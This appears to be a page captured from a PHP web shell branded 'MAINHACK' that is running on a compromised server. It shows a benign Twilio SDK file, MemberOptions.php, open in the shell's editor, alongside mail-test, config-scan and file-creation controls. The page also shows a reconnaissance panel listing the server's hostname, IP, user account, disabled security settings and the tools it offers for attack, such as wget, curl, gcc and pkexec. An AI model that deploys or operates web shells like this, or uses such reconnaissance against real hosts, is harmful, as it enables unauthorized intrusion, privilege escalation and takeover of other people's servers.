[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MemberOptions.php
<?php /** * This code was generated by * \ / _ _ _| _ _ * | (_)\/(_)(_|\/| |(/_ v1.0.0 * / / */ namespace Twilio\Rest\IpMessaging\V1\Service\Channel; use Twilio\Options; use Twilio\Values; abstract class MemberOptions { /** * @param string $roleSid The role_sid * @return CreateMemberOptions Options builder */ public static function create($roleSid = Values::NONE) { return new CreateMemberOptions($roleSid); } /** * @param string $identity The identity * @return ReadMemberOptions Options builder */ public static function read($identity = Values::NONE) { return new ReadMemberOptions($identity); } /** * @param string $roleSid The role_sid * @param integer $lastConsumedMessageIndex The last_consumed_message_index * @return UpdateMemberOptions Options builder */ public static function update($roleSid = Values::NONE, $lastConsumedMessageIndex = Values::NONE) { return new UpdateMemberOptions($roleSid, $lastConsumedMessageIndex); } } class CreateMemberOptions extends Options { /** * @param string $roleSid The role_sid */ public function __construct($roleSid = Values::NONE) { $this->options['roleSid'] = $roleSid; } /** * The role_sid * * @param string $roleSid The role_sid * @return $this Fluent Builder */ public function setRoleSid($roleSid) { $this->options['roleSid'] = $roleSid; return $this; } /** * Provide a friendly representation * * @return string Machine friendly representation */ public function __toString() { $options = array(); foreach ($this->options as $key => $value) { if ($value != Values::NONE) { $options[] = "$key=$value"; } } return '[Twilio.IpMessaging.V1.CreateMemberOptions ' . implode(' ', $options) . ']'; } } class ReadMemberOptions extends Options { /** * @param string $identity The identity */ public function __construct($identity = Values::NONE) { $this->options['identity'] = $identity; } /** * The identity * * @param string $identity The identity * @return $this Fluent Builder */ public function setIdentity($identity) { $this->options['identity'] = $identity; return $this; } /** * Provide a friendly representation * * @return string Machine friendly representation */ public function __toString() { $options = array(); foreach ($this->options as $key => $value) { if ($value != Values::NONE) { $options[] = "$key=$value"; } } return '[Twilio.IpMessaging.V1.ReadMemberOptions ' . implode(' ', $options) . ']'; } } class UpdateMemberOptions extends Options { /** * @param string $roleSid The role_sid * @param integer $lastConsumedMessageIndex The last_consumed_message_index */ public function __construct($roleSid = Values::NONE, $lastConsumedMessageIndex = Values::NONE) { $this->options['roleSid'] = $roleSid; $this->options['lastConsumedMessageIndex'] = $lastConsumedMessageIndex; } /** * The role_sid * * @param string $roleSid The role_sid * @return $this Fluent Builder */ public function setRoleSid($roleSid) { $this->options['roleSid'] = $roleSid; return $this; } /** * The last_consumed_message_index * * @param integer $lastConsumedMessageIndex The last_consumed_message_index * @return $this Fluent Builder */ public function setLastConsumedMessageIndex($lastConsumedMessageIndex) { $this->options['lastConsumedMessageIndex'] = $lastConsumedMessageIndex; return $this; } /** * Provide a friendly representation * * @return string Machine friendly representation */ public function __toString() { $options = array(); foreach ($this->options as $key => $value) { if ($value != Values::NONE) { $options[] = "$key=$value"; } } return '[Twilio.IpMessaging.V1.UpdateMemberOptions ' . implode(' ', $options) . ']'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.41 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002